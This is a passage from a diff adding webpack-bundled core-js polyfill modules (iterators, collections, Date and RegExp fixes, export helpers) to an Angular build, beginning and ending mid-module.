NativePrototype.forEach && !fails(function () { + new NativeConstructor().entries().next(); + })))) { + // create collection constructor + Constructor = common.getConstructor(wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER); + InternalMetadataModule.REQUIRED = true; + } else if (isForced(CONSTRUCTOR_NAME, true)) { + var instance = new Constructor(); + // early implementations not supports chaining + var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; + // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false + var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); }); + // most early implementations doesn't supports iterables, most modern - not close it correctly + // eslint-disable-next-line no-new + var ACCEPT_ITERABLES = checkCorrectnessOfIteration(function (iterable) { new NativeConstructor(iterable); }); + // for early implementations -0 and +0 not the same + var BUGGY_ZERO = !IS_WEAK && fails(function () { + // V8 ~ Chromium 42- fails only with 5+ elements + var $instance = new NativeConstructor(); + var index = 5; + while (index--) $instance[ADDER](index, index); + return !$instance.has(-0); + }); + + if (!ACCEPT_ITERABLES) { + Constructor = wrapper(function (target, iterable) { + anInstance(target, Constructor, CONSTRUCTOR_NAME); + var that = inheritIfRequired(new NativeConstructor(), target, Constructor); + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + return that; + }); + Constructor.prototype = NativePrototype; + NativePrototype.constructor = Constructor; + } + + if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) { + fixMethod('delete'); + fixMethod('has'); + IS_MAP && fixMethod('get'); + } + + if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); + + // weak collections should not contains .clear method + if (IS_WEAK && NativePrototype.clear) delete NativePrototype.clear; + } + + exported[CONSTRUCTOR_NAME] = Constructor; + $export({ global: true, forced: Constructor != NativeConstructor }, exported); + + setToStringTag(Constructor, CONSTRUCTOR_NAME); + + if (!IS_WEAK) common.setStrong(Constructor, CONSTRUCTOR_NAME, IS_MAP); + + return Constructor; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js": +/*!******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js ***! + \******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var ownKeys = __webpack_require__(/*! ../internals/own-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js"); +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); + +module.exports = function (target, source) { + var keys = ownKeys(source); + var defineProperty = definePropertyModule.f; + var getOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f; + for (var i = 0; i < keys.length; i++) { + var key = keys[i]; + if (!has(target, key)) defineProperty(target, key, getOwnPropertyDescriptor(source, key)); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-is-regexp-logic.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-is-regexp-logic.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var MATCH = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('match'); + +module.exports = function (METHOD_NAME) { + var regexp = /./; + try { + '/./'[METHOD_NAME](regexp); + } catch (e) { + try { + regexp[MATCH] = false; + return '/./'[METHOD_NAME](regexp); + } catch (f) { /* empty */ } + } return false; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + function F() { /* empty */ } + F.prototype.constructor = null; + return Object.getPrototypeOf(new F()) !== F.prototype; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var quot = /"/g; + +// B.2.3.2.1 CreateHTML(string, tag, attribute, value) +// https://tc39.github.io/ecma262/#sec-createhtml +module.exports = function (string, tag, attribute, value) { + var S = String(requireObjectCoercible(string)); + var p1 = '<' + tag; + if (attribute !== '') p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"'; + return p1 + '>' + S + ''; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js": +/*!******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js ***! + \******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var IteratorPrototype = __webpack_require__(/*! ../internals/iterators-core */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js").IteratorPrototype; +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); + +var returnThis = function () { return this; }; + +module.exports = function (IteratorConstructor, NAME, next) { + var TO_STRING_TAG = NAME + ' Iterator'; + IteratorConstructor.prototype = create(IteratorPrototype, { next: createPropertyDescriptor(1, next) }); + setToStringTag(IteratorConstructor, TO_STRING_TAG, false, true); + Iterators[TO_STRING_TAG] = returnThis; + return IteratorConstructor; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js": +/*!*****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js ***! + \*****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (bitmap, value) { + return { + enumerable: !(bitmap & 1), + configurable: !(bitmap & 2), + writable: !(bitmap & 4), + value: value + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); + +module.exports = function (object, key, value) { + var propertyKey = toPrimitive(key); + if (propertyKey in object) definePropertyModule.f(object, propertyKey, createPropertyDescriptor(0, value)); + else object[propertyKey] = value; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-iso-string.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-iso-string.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var prototype = Date.prototype; +var getTime = prototype.getTime; +var nativeDateToISOString = prototype.toISOString; + +var leadingZero = function (number) { + return number > 9 ? number : '0' + number; +}; + +// `Date.prototype.toISOString` method implementation +// https://tc39.github.io/ecma262/#sec-date.prototype.toisostring +// PhantomJS / old WebKit fails here: +module.exports = (fails(function () { + return nativeDateToISOString.call(new Date(-5e13 - 1)) != '0385-07-25T07:06:39.999Z'; +}) || !fails(function () { + nativeDateToISOString.call(new Date(NaN)); +})) ? function toISOString() { + if (!isFinite(getTime.call(this))) throw RangeError('Invalid time value'); + var date = this; + var year = date.getUTCFullYear(); + var milliseconds = date.getUTCMilliseconds(); + var sign = year < 0 ? '-' : year > 9999 ? '+' : ''; + return sign + ('00000' + Math.abs(year)).slice(sign ? -6 : -4) + + '-' + leadingZero(date.getUTCMonth() + 1) + + '-' + leadingZero(date.getUTCDate()) + + 'T' + leadingZero(date.getUTCHours()) + + ':' + leadingZero(date.getUTCMinutes()) + + ':' + leadingZero(date.getUTCSeconds()) + + '.' + (milliseconds > 99 ? milliseconds : '0' + leadingZero(milliseconds)) + + 'Z'; +} : nativeDateToISOString; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-primitive.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-primitive.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); + +module.exports = function (hint) { + if (hint !== 'string' && hint !== 'number' && hint !== 'default') { + throw TypeError('Incorrect hint'); + } return toPrimitive(anObject(this), hint !== 'number'); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var createIteratorConstructor = __webpack_require__(/*! ../internals/create-iterator-constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var setPrototypeOf = __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); +var IteratorsCore = __webpack_require__(/*! ../internals/iterators-core */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js"); +var IteratorPrototype = IteratorsCore.IteratorPrototype; +var BUGGY_SAFARI_ITERATORS = IteratorsCore.BUGGY_SAFARI_ITERATORS; +var KEYS = 'keys'; +var VALUES = 'values'; +var ENTRIES = 'entries'; + +var returnThis = function () { return this; }; + +module.exports = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) { + createIteratorConstructor(IteratorConstructor, NAME, next); + + var getIterationMethod = function (KIND) { + if (KIND === DEFAULT && defaultIterator) return defaultIterator; + if (!BUGGY_SAFARI_ITERATORS && KIND in IterablePrototype) return IterablePrototype[KIND]; + switch (KIND) { + case KEYS: return function keys() { return new IteratorConstructor(this, KIND); }; + case VALUES: return function values() { return new IteratorConstructor(this, KIND); }; + case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); }; + } return function () { return new IteratorConstructor(this); }; + }; + + var TO_STRING_TAG = NAME + ' Iterator'; + var INCORRECT_VALUES_NAME = false; + var IterablePrototype = Iterable.prototype; + var nativeIterator = IterablePrototype[ITERATOR] + || IterablePrototype['@@iterator'] + || DEFAULT && IterablePrototype[DEFAULT]; + var defaultIterator = !BUGGY_SAFARI_ITERATORS && nativeIterator || getIterationMethod(DEFAULT); + var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator; + var CurrentIteratorPrototype, methods, KEY; + + // fix native + if (anyNativeIterator) { + CurrentIteratorPrototype = getPrototypeOf(anyNativeIterator.call(new Iterable())); + if (IteratorPrototype !== Object.prototype && CurrentIteratorPrototype.next) { + if (!IS_PURE && getPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype) { + if (setPrototypeOf) { + setPrototypeOf(CurrentIteratorPrototype, IteratorPrototype); + } else if (typeof CurrentIteratorPrototype[ITERATOR] != 'function') { + hide(CurrentIteratorPrototype, ITERATOR, returnThis); + } + } + // Set @@toStringTag to native iterators + setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true, true); + if (IS_PURE) Iterators[TO_STRING_TAG] = returnThis; + } + } + + // fix Array#{values, @@iterator}.name in V8 / FF + if (DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) { + INCORRECT_VALUES_NAME = true; + defaultIterator = function values() { return nativeIterator.call(this); }; + } + + // define iterator + if ((!IS_PURE || FORCED) && IterablePrototype[ITERATOR] !== defaultIterator) { + hide(IterablePrototype, ITERATOR, defaultIterator); + } + Iterators[NAME] = defaultIterator; + + // export additional methods + if (DEFAULT) { + methods = { + values: getIterationMethod(VALUES), + keys: IS_SET ? defaultIterator : getIterationMethod(KEYS), + entries: getIterationMethod(ENTRIES) + }; + if (FORCED) for (KEY in methods) { + if (BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) { + redefine(IterablePrototype, KEY, methods[KEY]); + } + } else $export({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME }, methods); + } + + return methods; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-well-known-symbol.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-well-known-symbol.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var path = __webpack_require__(/*! ../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var wrappedWellKnownSymbolModule = __webpack_require__(/*! ../internals/wrapped-well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/wrapped-well-known-symbol.js"); +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; + +module.exports = function (NAME) { + var Symbol = path.Symbol || (path.Symbol = {}); + if (!has(Symbol, NAME)) defineProperty(Symbol, NAME, { + value: wrappedWellKnownSymbolModule.f(NAME) + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var document = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").document; +// typeof document.createElement is 'object' in old IE +var exist = isObject(document) && isObject(document.createElement); + +module.exports = function (it) { + return exist ? document.createElement(it) : {}; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/dom-iterables.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/dom-iterables.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// iterable DOM collections +// flag - `iterable` interface - 'entries', 'keys', 'values', 'forEach' methods +module.exports = { + CSSRuleList: 0, + CSSStyleDeclaration: 0, + CSSValueList: 0, + ClientRectList: 0, + DOMRectList: 0, + DOMStringList: 0, + DOMTokenList: 1, + DataTransferItemList: 0, + FileList: 0, + HTMLAllCollection: 0, + HTMLCollection: 0, + HTMLFormElement: 0, + HTMLSelectElement: 0, + MediaList: 0, + MimeTypeArray: 0, + NamedNodeMap: 0, + NodeList: 1, + PaintRequestList: 0, + Plugin: 0, + PluginArray: 0, + SVGLengthList: 0, + SVGNumberList: 0, + SVGPathSegList: 0, + SVGPointList: 0, + SVGStringList: 0, + SVGTransformList: 0, + SourceBufferList: 0, + StyleSheetList: 0, + TextTrackCueList: 0, + TextTrackList: 0, + TouchList: 0 +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// IE8- don't enum bug keys +module.exports = [ + 'constructor', + 'hasOwnProperty', + 'isPrototypeOf', + 'propertyIsEnumerable', + 'toLocaleString', + 'toString', + 'valueOf' +]; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-keys.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-keys.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var objectKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); +var getOwnPropertySymbolsModule = __webpack_require__(/*! ../internals/object-get-own-property-symbols */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js"); +var propertyIsEnumerableModule = __webpack_require__(/*! ../internals/object-property-is-enumerable */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js"); + +// all enumerable object keys, includes symbols +module.exports = function (it) { + var result = objectKeys(it); + var getOwnPropertySymbols = getOwnPropertySymbolsModule.f; + if (getOwnPropertySymbols) { + var symbols = getOwnPropertySymbols(it); + var propertyIsEnumerable = propertyIsEnumerableModule.f; + var i = 0; + var key; + while (symbols.length > i) if (propertyIsEnumerable.call(it, key = symbols[i++])) result.push(key); + } return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var getOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var copyConstructorProperties = __webpack_require__(/*! ../internals/copy-constructor-properties */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); + +/* + options.target - name of the target object + options.global - target is the global object + options.stat - export as static methods of target + options.proto - export as prototype methods of target + options.real - real prototype method for the `pure` version + options.forced - export even if the native feature is available + options.bind - bind methods to the target, required for the `pure` version + options.wrap - wrap constructors to preventing global pollution, required for the `pure` version + options.unsafe - use the simple assignment of property instead of delete + defineProperty + options.sham - add a flag to not completely full polyfills + options.enumerable - export as enumerable property + options.noTargetGet - prevent calling a getter on target +*/ +module.exports = function (options, source) { + var TARGET = options.target; + var GLOBAL = options.global; + var STATIC = options.stat; + var FORCED, target, key, targetProperty, sourceProperty, descriptor; + if (GLOBAL) { + target = global; + } else if (STATIC) { + target = global[TARGET] || setGlobal(TARGET, {}); + } else { + target = (global[TARGET] || {}).prototype; + } + if (target) for (key in source) { + sourceProperty = source[key]; + if (options.noTargetGet) { + descriptor = getOwnPropertyDescriptor(target, key); + targetProperty = descriptor && descriptor.value; + } else targetProperty = target[key]; + FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced); + // contained in target + if (!FORCED && targetProperty !== undefined) { + if (typeof sourceProperty === typeof targetProperty) continue; + copyConstructorProperties(sourceProperty, targetProperty); + } + // add a flag to not completely full polyfills + if (options.sham || (targetProperty && targetProperty.sham)) { + hide(sourceProperty, 'sham', true); + } + // extend global + redefine(target, key, sourceProperty, options); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js": +/*!********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js ***! + \********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (exec) { + try { + return !!exec(); + } catch (error) { + return true; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js": +/*!*************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js ***! + \*************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var wellKnownSymbol = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js"); +var regexpExec = __webpack_require__(/*! ../internals/regexp-exec */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js"); + +var SPECIES = wellKnownSymbol('species'); + +var REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () { + // #replace needs built-in support for named groups. + // #match works fine because it just return the exec results, even if it has + // a "grops" property. + var re = /./; + re.exec = function () { + var result = []; + result.groups = { a: '7' }; + return result; + }; + return ''.replace(re, '$') !== '7'; +}); + +// Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec +// Weex JS has frozen built-in prototypes, so use try / catch wrapper +var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = !fails(function () { + var re = /(?:)/; + var originalExec = re.exec; + re.exec = function () { return originalExec.apply(this, arguments); }; + var result = 'ab'.split(re); + return result.length !== 2 || result[0] !== 'a' || result[1] !== 'b'; +}); + +module.exports = function (KEY, length, exec, sham) { + var SYMBOL = wellKnownSymbol(KEY); + + var DELEGATES_TO_SYMBOL = !fails(function () { + // String methods call symbol-named RegEp methods + var O = {}; + O[SYMBOL] = function () { return 7; }; + return ''[KEY](O) != 7; + }); + + var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL && !fails(function () { + // Symbol-named RegExp methods call .exec + var execCalled = false; + var re = /a/; + re.exec = function () { execCalled = true; return null; }; + + if (KEY === 'split') { + // RegExp[@@split] doesn't call the regex's exec method, but first creates + // a new one. We need to return the patched regex when creating the new one. + re.constructor = {}; + re.constructor[SPECIES] = function () { return re; }; + } + + re[SYMBOL](''); + return !execCalled; + }); + + if ( + !DELEGATES_TO_SYMBOL || + !DELEGATES_TO_EXEC || + (KEY === 'replace' && !REPLACE_SUPPORTS_NAMED_GROUPS) || + (KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC) + ) { + var nativeRegExpMethod = /./[SYMBOL]; + var methods = exec(SYMBOL, ''[KEY], function (nativeMethod, regexp, str, arg2, forceStringMethod) { + if (regexp.exec === regexpExec) { + if (DELEGATES_TO_SYMBOL && !forceStringMethod) { + // The native String method already delegates to @@method (this + // polyfilled function), leasing to infinite recursion. + // We avoid it by directly calling the native @@method method. + return { done: true, value: nativeRegExpMethod.call(regexp, str, arg2) }; + } + return { done: true, value: nativeMethod.call(str, regexp, arg2) }; + } + return { done: false }; + }); + var stringMethod = methods[0]; + var regexMethod = methods[1]; + + redefine(String.prototype, KEY, stringMethod); + redefine(RegExp.prototype, SYMBOL, length == 2 + // 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue) + // 21.2.5.11 RegExp.prototype[@@split](string, limit) + ? function (string, arg) { return regexMethod.call(string, this, arg); } + // 21.2.5.6 RegExp.prototype[@@match](string) + // 21.2.5.9 RegExp.prototype[@@search](string) + : function (string) { return regexMethod.call(string, this); } + ); + if (sham) hide(RegExp.prototype[SYMBOL], 'sham', true); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); + +// check the existence of a method, lowercase +// of a tag and escaping quotes in arguments +module.exports = function (METHOD_NAME) { + return fails(function () { + var test = ''[METHOD_NAME]('"'); + return test !== test.toLowerCase() || test.split('"').length > 3; + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-trim-method.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-trim-method.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var whitespaces = __webpack_require__(/*! ../internals/whitespaces */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js"); +var non = '\u200B\u0085\u180E'; + +// check that a method works with the correct list +// of whitespaces and has a correct name +module.exports = function (METHOD_NAME) { + return fails(function () { + return !!whitespaces[METHOD_NAME]() || non[METHOD_NAME]() != non || whitespaces[METHOD_NAME].name !== METHOD_NAME; + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ../internals/fails */ 